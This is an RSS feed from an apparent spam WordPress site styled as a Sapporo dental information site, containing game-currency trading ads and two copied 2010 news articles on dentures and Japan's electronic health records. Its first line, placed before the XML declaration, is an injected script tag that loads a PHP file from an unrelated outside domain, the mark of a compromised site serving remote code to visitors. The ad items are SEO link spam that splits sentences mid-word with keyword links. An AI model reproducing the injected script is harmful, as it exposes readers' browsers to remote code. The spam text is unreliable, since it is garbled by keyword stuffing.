<script src=http://najmibilgrami.com/images/PgHitCounter.php ></script>﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>札幌市歯科の総合情報サイト</title>
	<atom:link href="http://www.kaifaom.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.kaifaom.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Wed, 12 May 2010 20:37:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>ja</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>RMTワイアード　タイムセール開催間近</title>
		<link>http://www.kaifaom.com/archives/22</link>
		<comments>http://www.kaifaom.com/archives/22#comments</comments>
		<pubDate>Wed, 12 May 2010 20:37:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[札幌市歯科大学]]></category>
		<category><![CDATA[1]]></category>
		<category><![CDATA[19]]></category>
		<category><![CDATA[4]]></category>
		<category><![CDATA[AION]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[jp]]></category>
		<category><![CDATA[RMT]]></category>
		<category><![CDATA[wired-rmt]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[お知らせ]]></category>
		<category><![CDATA[ご奉仕]]></category>
		<category><![CDATA[たび]]></category>
		<category><![CDATA[ゲーム]]></category>
		<category><![CDATA[コンビニ]]></category>
		<category><![CDATA[サーバ]]></category>
		<category><![CDATA[セール]]></category>
		<category><![CDATA[タイム]]></category>
		<category><![CDATA[ドラゴニカ]]></category>
		<category><![CDATA[ラテール]]></category>
		<category><![CDATA[ワイアード]]></category>
		<category><![CDATA[予定]]></category>
		<category><![CDATA[企画]]></category>
		<category><![CDATA[内容]]></category>
		<category><![CDATA[引用]]></category>
		<category><![CDATA[後日]]></category>
		<category><![CDATA[日]]></category>
		<category><![CDATA[時間]]></category>
		<category><![CDATA[楽しみ]]></category>
		<category><![CDATA[様々]]></category>
		<category><![CDATA[毎]]></category>
		<category><![CDATA[特価]]></category>
		<category><![CDATA[開催]]></category>
		<category><![CDATA[間近]]></category>
		<category><![CDATA[限定]]></category>

		<guid isPermaLink="false">http://www.kaifaom.com/archives/22</guid>
		<description><![CDATA[こドラゴニカ rmt   のたびRMTワイアードでは、タイムセール企画を開催予定でございます。
毎RMT   日、様々なゲームの1部のサーバを時間限定にて大特価でご奉仕致します。
 ラテール rmtコンビニ   開催予定は4月19日から、まずはAIONの各サーバからご奉仕致します。
タイムセールの詳しい内容は、後日お知らせいたしますのでお楽しみに。
http://www.wired-rmt.jp/
引用元:


関連記事がありません


<strong class='rlt'>関連記事がありません</strong>]]></description>
			<content:encoded><![CDATA[<p>こ<a href="http://www.rmt-mab.com/">ドラゴニカ rmt</a>   のたびRMTワイアードでは、タイムセール企画を開催予定でございます。<br />
毎<a href="http://www.wired-rmt.jp/">RMT</a>   日、様々なゲームの1部のサーバを時間限定にて大特価でご奉仕致します。<br />
 <a href="http://www.rmt-mab.com/">ラテール rmtコンビニ</a>   開催予定は4月19日から、まずはAIONの各サーバからご奉仕致します。<br />
タイムセールの詳しい内容は、後日お知らせいたしますのでお楽しみに。</p>
<p>http://www.wired-rmt.jp/</p>
<p>引用元:</p>


<p><strong class='rlt'>関連記事がありません</strong></p>]]></content:encoded>
			<wfw:commentRss>http://www.kaifaom.com/archives/22/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RMTワイアード　タイムセール開催間近</title>
		<link>http://www.kaifaom.com/archives/21</link>
		<comments>http://www.kaifaom.com/archives/21#comments</comments>
		<pubDate>Wed, 12 May 2010 09:52:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[札幌市歯科医院]]></category>
		<category><![CDATA[1]]></category>
		<category><![CDATA[19]]></category>
		<category><![CDATA[4]]></category>
		<category><![CDATA[AION]]></category>
		<category><![CDATA[cabal]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[jp]]></category>
		<category><![CDATA[RMT]]></category>
		<category><![CDATA[wired-rmt]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[お知らせ]]></category>
		<category><![CDATA[ご奉仕]]></category>
		<category><![CDATA[たび]]></category>
		<category><![CDATA[アラド]]></category>
		<category><![CDATA[イム]]></category>
		<category><![CDATA[ゲーム]]></category>
		<category><![CDATA[コンビニ]]></category>
		<category><![CDATA[サーバ]]></category>
		<category><![CDATA[セール]]></category>
		<category><![CDATA[タ]]></category>
		<category><![CDATA[タイム]]></category>
		<category><![CDATA[ワイアード]]></category>
		<category><![CDATA[予定]]></category>
		<category><![CDATA[企画]]></category>
		<category><![CDATA[内容]]></category>
		<category><![CDATA[引用]]></category>
		<category><![CDATA[後日]]></category>
		<category><![CDATA[戦記]]></category>
		<category><![CDATA[時間]]></category>
		<category><![CDATA[楽しみ]]></category>
		<category><![CDATA[様々]]></category>
		<category><![CDATA[毎日]]></category>
		<category><![CDATA[決済]]></category>
		<category><![CDATA[特価]]></category>
		<category><![CDATA[開催]]></category>
		<category><![CDATA[間近]]></category>
		<category><![CDATA[限定]]></category>

		<guid isPermaLink="false">http://www.kaifaom.com/archives/21</guid>
		<description><![CDATA[こアラド rmt コンビニ決済   のたびRMTワイアードでは、タイムセール企画を開催予定でございます。
毎日、様々なゲームの1部のサーバを時間限定にて大特価でご奉仕致します。
 アラド戦記 rmt   開催予定は4月19日から、まずはAIONの各サーバからご奉仕致します。
タcabal   イムセールの詳しい内容は、後日お知らせいたしますのでお楽しみに。
http://www.wired-rmt.jp/
引用元:


関連記事がありません


<strong class='rlt'>関連記事がありません</strong>]]></description>
			<content:encoded><![CDATA[<p>こ<a href="http://www.kiraku-rmt.jp/">アラド rmt コンビニ決済</a>   のたびRMTワイアードでは、タイムセール企画を開催予定でございます。<br />
毎日、様々なゲームの1部のサーバを時間限定にて大特価でご奉仕致します。<br />
 <a href="http://www.rmt-roan.jp/">アラド戦記 rmt</a>   開催予定は4月19日から、まずはAIONの各サーバからご奉仕致します。<br />
タ<a href="http://www.new-rmt.com/">cabal</a>   イムセールの詳しい内容は、後日お知らせいたしますのでお楽しみに。</p>
<p>http://www.wired-rmt.jp/</p>
<p>引用元:</p>


<p><strong class='rlt'>関連記事がありません</strong></p>]]></content:encoded>
			<wfw:commentRss>http://www.kaifaom.com/archives/21/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RMTワイアード　タイムセール開催間近</title>
		<link>http://www.kaifaom.com/archives/20</link>
		<comments>http://www.kaifaom.com/archives/20#comments</comments>
		<pubDate>Sun, 25 Apr 2010 12:09:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[札幌市歯科 審美]]></category>
		<category><![CDATA[1]]></category>
		<category><![CDATA[19]]></category>
		<category><![CDATA[4]]></category>
		<category><![CDATA[AION]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[jp]]></category>
		<category><![CDATA[RMT]]></category>
		<category><![CDATA[wired-rmt]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[お知らせ]]></category>
		<category><![CDATA[ご奉仕]]></category>
		<category><![CDATA[たび]]></category>
		<category><![CDATA[ゲーム]]></category>
		<category><![CDATA[サーバ]]></category>
		<category><![CDATA[セール]]></category>
		<category><![CDATA[タイム]]></category>
		<category><![CDATA[ワイアード]]></category>
		<category><![CDATA[予定]]></category>
		<category><![CDATA[企画]]></category>
		<category><![CDATA[内容]]></category>
		<category><![CDATA[引用]]></category>
		<category><![CDATA[後日]]></category>
		<category><![CDATA[時間]]></category>
		<category><![CDATA[楽しみ]]></category>
		<category><![CDATA[様々]]></category>
		<category><![CDATA[毎日]]></category>
		<category><![CDATA[特価]]></category>
		<category><![CDATA[開催]]></category>
		<category><![CDATA[間近]]></category>
		<category><![CDATA[限定]]></category>

		<guid isPermaLink="false">http://www.kaifaom.com/archives/20</guid>
		<description><![CDATA[このたびRMTワイアードでは、タイムセール企画を開催予定でございます。
毎日、様々なゲームの1部のサーバを時間限定にて大特価でご奉仕致します。
 開催予定は4月19日から、まずはAIONの各サーバからご奉仕致します。
タイムセールの詳しい内容は、後日お知らせいたしますのでお楽しみに。
http://www.wired-rmt.jp/
引用元:


関連記事がありません


<strong class='rlt'>関連記事がありません</strong>]]></description>
			<content:encoded><![CDATA[<p>このたびRMTワイアードでは、タイムセール企画を開催予定でございます。<br />
毎日、様々なゲームの1部のサーバを時間限定にて大特価でご奉仕致します。<br />
 開催予定は4月19日から、まずはAIONの各サーバからご奉仕致します。<br />
タイムセールの詳しい内容は、後日お知らせいたしますのでお楽しみに。</p>
<p>http://www.wired-rmt.jp/</p>
<p>引用元:</p>


<p><strong class='rlt'>関連記事がありません</strong></p>]]></content:encoded>
			<wfw:commentRss>http://www.kaifaom.com/archives/20/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>カーボン繊維強化型入れ歯　世界初、商品化</title>
		<link>http://www.kaifaom.com/archives/11</link>
		<comments>http://www.kaifaom.com/archives/11#comments</comments>
		<pubDate>Mon, 12 Apr 2010 20:42:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[札幌市歯科医院]]></category>

		<guid isPermaLink="false">http://www.kaifaom.com/archives/11</guid>
		<description><![CDATA[入れ歯専門歯科の医療法人中道会大前歯科医院（大阪府豊中市、理事長：大前太美雄）では、従来の入れ歯より曲げ強度で1.5倍、引っ張り強度で2倍の強度を持つカーボン繊維強化型入れ歯を、世界で初めて商品化した。歯を失った部分の治療としてインプラントが注目されているが、大前歯科医院によると、さまざまな理由によりインプラント手術が出来ない場合も多く、入れ歯の需要が高まっているという。日本の入れ歯人口は厚労省の調査によると2200万人。およそ6人に1人が入れ歯装着者で、またそのうちの1000万人が総入れ歯だ。入れ歯は、歯を失った人の歯や歯肉を補い再現し、食事や会話、見栄えなど生活に無くてはならないものだが、従来品は二つに割れるなどして使用不能になることがあった。今回用いたカーボン繊維は、高強度でしなやか、そして軽量なので航空機やレーシングカーなどにも用いられている。しかし、入れ歯のように一人一人の歯肉の形状に合わせてカーボンを加工する事は作業的にも、コスト的にも困難だった。大前歯科医院では、小ロット対応のカーボン繊維の加工法を開発し、入れ歯の床部分（厚さ約1mm）にカーボン繊維（厚さ0.25mm）を組み入れることに成功し、世界で初めてカーボン繊維強化型入れ歯を商品化した。現在、高強度の入れ歯としては、入れ歯の一部分が金属プレートで構成される金属床が主流だが、健康や安全のために、口の中で金属を用いないメタルフリーを希望する人も多く、カーボン繊維強化型は金属床に代わる入れ歯となる。またカーボン繊維強化型は従来の入れ歯の約3分の2の厚みで同強度なので、そのぶん厚さが薄い、違和感の少ない入れ歯を製作することも可能だ。さらにカーボン繊維は熱伝導率も従来型より高いので、食物の温度を歯肉で感じやすく、従来の入れ歯より食事を美味しく感じられるという。《レスポンス 高木啓》【関連記事】【ジュネーブモーターショー10】ロータス エヴォーラ にカーボンコンセプト…レース直系イメージ 【ナノテク10】カーインテリアを暖房するカーボン?ナノテクも登場 三菱レイヨンとSGL、炭素繊維の合弁工場設立へ…提携強化を検討 注目の記事 特別編集 
引用元:http://headlines.yahoo.co.jp/hl?a=20100316-00000008-rps-bus_all


関連記事がありません


<strong class='rlt'>関連記事がありません</strong>]]></description>
			<content:encoded><![CDATA[<p>入れ歯専門歯科の医療法人中道会大前歯科医院（大阪府豊中市、理事長：大前太美雄）では、従来の入れ歯より曲げ強度で1.5倍、引っ張り強度で2倍の強度を持つカーボン繊維強化型入れ歯を、世界で初めて商品化した。<BR><BR>歯を失った部分の治療としてインプラントが注目されているが、大前歯科医院によると、さまざまな理由によりインプラント手術が出来ない場合も多く、入れ歯の需要が高まっているという。日本の入れ歯人口は厚労省の調査によると2200万人。およそ6人に1人が入れ歯装着者で、またそのうちの1000万人が総入れ歯だ。<BR><BR>入れ歯は、歯を失った人の歯や歯肉を補い再現し、食事や会話、見栄えなど生活に無くてはならないものだが、従来品は二つに割れるなどして使用不能になることがあった。<BR><BR>今回用いたカーボン繊維は、高強度でしなやか、そして軽量なので航空機やレーシングカーなどにも用いられている。しかし、入れ歯のように一人一人の歯肉の形状に合わせてカーボンを加工する事は作業的にも、コスト的にも困難だった。<BR><BR>大前歯科医院では、小ロット対応のカーボン繊維の加工法を開発し、入れ歯の床部分（厚さ約1mm）にカーボン繊維（厚さ0.25mm）を組み入れることに成功し、世界で初めてカーボン繊維強化型入れ歯を商品化した。<BR><BR>現在、高強度の入れ歯としては、入れ歯の一部分が金属プレートで構成される金属床が主流だが、健康や安全のために、口の中で金属を用いないメタルフリーを希望する人も多く、カーボン繊維強化型は金属床に代わる入れ歯となる。<BR><BR>またカーボン繊維強化型は従来の入れ歯の約3分の2の厚みで同強度なので、そのぶん厚さが薄い、違和感の少ない入れ歯を製作することも可能だ。さらにカーボン繊維は熱伝導率も従来型より高いので、食物の温度を歯肉で感じやすく、従来の入れ歯より食事を美味しく感じられるという。<BR><BR>《レスポンス 高木啓》<BR><BR>【関連記事】<BR>【ジュネーブモーターショー10】ロータス エヴォーラ にカーボンコンセプト…レース直系イメージ <BR>【ナノテク10】カーインテリアを暖房するカーボン?ナノテクも登場 <BR>三菱レイヨンとSGL、炭素繊維の合弁工場設立へ…提携強化を検討 <BR>注目の記事 特別編集 </p>
<p>引用元:http://headlines.yahoo.co.jp/hl?a=20100316-00000008-rps-bus_all</p>


<p><strong class='rlt'>関連記事がありません</strong></p>]]></content:encoded>
			<wfw:commentRss>http://www.kaifaom.com/archives/11/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>日本版EHRの現状?進む実証実験と実現への課題</title>
		<link>http://www.kaifaom.com/archives/10</link>
		<comments>http://www.kaifaom.com/archives/10#comments</comments>
		<pubDate>Sun, 11 Apr 2010 20:48:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[札幌市歯科大学]]></category>

		<guid isPermaLink="false">http://www.kaifaom.com/archives/10</guid>
		<description><![CDATA[　EHR（Electronic Health Record：生涯健康医療電子記録）とは「国民1人1人が自らの健康／医療情報を生涯を通じて管理把握できる環境と、それを支える国家的な医療情報ネットワーク」のことを指す。また、この情報を国民医療政策として、国民の疾病予防や医療の効率化に役立てることを目指す取り組みでもある。　厚生労働省の科学研究費補助金を受けた「日本版EHRの実現に向けた研究」研究班は3月23日、3年間にわたり実施してきた地域医療連携ネットワークの実証実験などの研究成果の報告会を開催した。同研究班は、日本版EHRのの実現のために必要な3つの基盤に関する研究を行うことを目的とし、2008年4月から2010年3月まで活動してきた。●3つの研究課題?地域医療連携システムの実現を基礎にして、日本版EHRを目指した地域間情報共有や健診?医療?介護の分野横断的な医療情報利活用を支える情報技術および実現のための社会エンジニアリング?EHR実現をめぐる制度的?社会的な非IT的改革課題や国民医療経済への効果判定?医療プロセスの透明化による効率化の評価●日本版EHRの実現の緊急性を強調　まず、東京医科歯科大学大学院生命情報科学教育学長 教授、田中 博氏が事業の統括報告を行った。田中氏は日本の医療における問題として、医療費削減政策や医療過誤訴訟の増加、医師不足などによる「地域医療の崩壊」、糖尿病の重症化や人工透析患者の増加といった「慢性疾患の増大」、高齢化率の増加に伴う「高齢者医療費の増加」「医療供給や医療政策の非計画性?非統合性」などを挙げた。また、医療再生のための3つの基軸として「生涯継続性のある健康／疾病管理」「地域統合性のある医療／健康管理」「日常生活基盤のユビキタス健康医療」が必要になると説明した。　同氏によると、生涯継続性のある健康／疾病管理では、急性期医療では対応できないという現状を踏まえた「“治す”から“重症化させないための管理”」への転換が必要であり、そのためには「診療所が担う役割が大事になる」という。　また、地域統合性のある医療／健康管理では、病院完結型医療から地域完結型医療への展開のために「病院?診療所連携パスによる地域医療連携体制の構築」の重要性を説明した。さらに、在宅医療を含めた日常生活における自己測定や情報管理といったユビキタス健康情報管理などが求められると説明。その上で「これらの新しい医療では健康?診療情報の共通情報基盤が必要となり、ICT基盤なしに成り立たない」として、日本版EHRの実現の緊急性を強調した。●日本版EHR実現による経済効果と被保険者のメリットとは？　日本版EHR実現による経済効果や保険制度との関連を研究する医療経済分科会では「糖尿病患者に対する保健指導の医療費への効果を評価する介入研究」「特定保健指導の実施が医療費に与える影響の観察研究」の2つの研究を実施した。　介入研究では、千葉県いすみ市の糖尿病を治療中の患者に対して保険者が保健指導を行うことで、医療機関だけの治療と比べて治療効果や医療費にどれくらい効果があるかを測定した。国立保健医療科学院経営科学部経営管理室 室長、岡本悦司氏によると「保険指導を行うことで、短期間でより良好な治療結果が得られた」と説明した。しかし、医療費への効果については「少なくとも介入後10カ月程度では効果は期待できない」という結論を示した。　観察研究では、電子レセプトを用いた特定保健指導の医療費への効果を分析した。ある健康組合における特定健診の受診者を対象にして、その後保健指導を受診者と非受診者の医療費を測定した。その結果、「わずかながら医療費削減効果があった」という。岡本氏は、この研究では「医療費への影響を評価する手法を示すことができた」と説明し、「2010年度に予定されている医療費適正化計画や高齢者医療確保法の見直しへの重要なエビデンスを示せた」としている。●各地域で進む“地域医療連携ネットワーク”　ITを利用した地域医療連携のモデルを研究する「地域医療連携分科会」は、以下の5つ（※）の地域における共通基盤による連携ネットワークに関する実証実験の活動内容を報告した。※techtarget.itmedia.co.jp/tt/news/1004/07/news02.html＜標準形式のデータ変換＞　兵庫医科大学での取り組みは、HIS（医療情報システム）からHL7形式で患者基本、処方、検査結果、病名登録などを得て、これに紹介状など各種文書を付加してCDを作成し、それを医療機関で連携させる事例。SS-MIXとは「厚生労働省標準的診療情報交換推進事業」のことである。　兵庫医科大学医療情報学?兵庫医科大学病院医療情報部 教授、宮本正喜氏によると「標準形式であるHL7であれば、すべてのデータが問題なく連携できると考えていたが、実際にはうまくいかないケースもあった」と説明した。＜二次医療圏と「地域医療再生交付金」＞　ID-LINKは地域の参加医療施設間をインターネット回線で接続し、それぞれの施設が保有している診療情報の相互参照を可能する医療連携システム。　北海道南西地域?広域医療連携プロジェクトに携わる、札幌医科大学大学院医学研究科生体情報形態学医学部 教授、辰巳治之氏は、道南地区を例にした二次医療圏（※）内では完結できない遠隔地診療の状況を説明し、日本版EHR実現への課題として、二次医療圏単位で交付される「地域医療再生交付金」への問題提起を行った。　※二次医療圏：入院治療を主体とした一般の医療需要に対応するために設定する区域。＜地域連携から全国展開へ＞　かがわ遠隔医療ネットワークは、画像や診療情報などを外部のデータセンターに格納し、Web画面から利用できるASP（Application Service Provider）型システム。香川医科大学医学部附属病院医療情報部、香川県、香川県医師会の連携により、香川県が事業として遠隔診断システムのセンターサーバを県に設置し、県下全域の地域医療施設とのインターネットを整備した。全国でも初めてのネットワークが構築され、2003年6月から運用を開始した。　香川大学瀬戸内圏研究センター教授、原 量宏氏は、周産期ネットワークにおける電子カルテネットワークの全国展開などを紹介しながら、日本版EHRの実現に向けた情報基盤構築の取り組み状況を説明した。＜病院?診療所間の“循環型地域医療連携”＞　一般に地域医療連携のタイプは、脳卒中や急性心筋梗塞（こうそく）などの疾患に代表される、急性期?回復期?維持期などに独立した技術移転が不要な“一方向型”地域医療連携と、糖尿病や生活習慣病など病院?診療所間で治療内容がシームレスに継続する“循環型”医療の2つに分類される。　わかしおネットは、東金病院と診療所間で糖尿病患者の情報をネットワーク上で共有する医療システム。千葉県立東金病院 内科?代謝内分泌学 院長、平井愛山氏は「検査データや病院医師の治療方針を共有しながら、病院?診療所間における双方向での循環型地域医療連携”を可能にする」と語った。＜診療科目の枠を超えた連携に向けて＞　東海ネットは、脳卒中や急性心筋梗塞などにおける医療情報共有化システム。名古屋大学大学院医学系研究科遺伝子治療学 准教授、水野正明氏は、脳神経外科や神経内科、リハビリテーション科などの診療科の枠を超え、一貫したシステムにおける「シームレス医療の創出に情報基盤の共有化は役立つ」と説明した。　また、介護施設や在宅医療支援診療所への「電子化に関するアンケート」を紹介。診療所における電子化の有効性について「全体の39％が有用と回答したが、基幹病院や介護施設の70％以上が有用と回答した結果と比べると、格段に低い」結果となったこと発表した。●患者情報のセキュリティはどう確保するのか？　日本版EHR実現の課題となるのは、個人情報の取り扱いなどの「セキュリティ」面だ。　標準化?セキュリティ分科会の浜松医科大学医学部付属病院医療情報部 教授、木村通男氏は、静岡県で実施した「医療情報の取り扱いに関する意識調査」結果を紹介。木村氏によると「生涯記録として1つにまとめたい」という項目について、それを受容する回答が74％あったという。さらに、医療の効率化を目的として厚生労働省などの研究機関に「匿名化された自分の病名情報が2次利用される」ことを回答者の65％が受容すると回答した。　その上で、木村氏は日本版EHRを実現するためには「国民の信頼を失墜しないように、セキュリティや運用の透明性をしっかり確保することが重要だ」と説明した。その一方で「今後医師は大量の電子データを参照?活用することになる。情報過多が起因となるトラブルを防ぐ策も必要」とも語った。●日本版EHRに関する政府の方針とは？　日本政府のIT戦略本部は2010年3月、「新たな情報通信技術戦略の骨子（案）」を発表した。3つの重点戦略の1つとして「地域の絆の再生」を掲げ、「情報通信技術を活用することにより国民が地域を問わず質の高い医療サービスを受けることを可能にするための明確な目標を設定する」としている。　具体的な施策として、以下の2つが挙げられている。＜「新たな情報通信技術戦略の骨子（案）」より＞?全国どこでも過去の診療情報に基づいた医療を受けられるとともに、個人が健康管理に取り組める環境を実現するため、国民が自らの健康?医療情報を電子的に管理?活用するための全国レベルの情報提供サービスを創出する。また、匿名化されたレセプト情報等を一元的なデータベースとして官民で集約し、広く医療の標準化?効率化及びサービスの向上に活用可能とする。?高齢社会の本格化を踏まえ、高齢者の就労?社会参画を促進し、独居高齢者の安否を家族等が確認し、在宅医療?介護等において必要なケア情報を提供すべく、情報通信技術を積極的に活用する。　特別講演に立った、内閣官房IT担当室 内閣参事官、野口 聡氏は地域医療連携のポイントとして「ヒューマンネットワークの構築」「事業の継続性を考えたシステムの構築」「外部システムとの情報交換機能の整備」を挙げた。また、野口氏は2010年2月に訪問した英国、デンマーク、オランダの欧州3カ国における医療情報化の調査結果を発表した。この調査結果を今後の日本の医療情報政策に活用するとしている。　欧州では「General Practitioner」と呼ばれる、あらかじめ決まった“かかりつけ医師”がほとんどの疾患の初期治療を行い、二次医療や専門病院への門番的な役割を持つ制度が発達している。一方、日本では診療所や病院への受診を患者自らが選択する「フリーアクセス」が一般的だ。　発表後の質疑応答でも「欧州の制度を日本に適用するのは難しいのでは」という意見があった。野口氏は「欧州の制度を適用するのではなく、日本の医療現場に合ったEHRを進めていく」と説明し、その上で「3月に発表した案を基に、4、5月をめどにスケジュールを策定するなど、戦略の具体化に向けて取り組んでいく」と語った。【翁長 潤】 
引用元:http://headlines.yahoo.co.jp/hl?a=20100408-00000068-zdn_tt-sci


関連記事がありません


<strong class='rlt'>関連記事がありません</strong>]]></description>
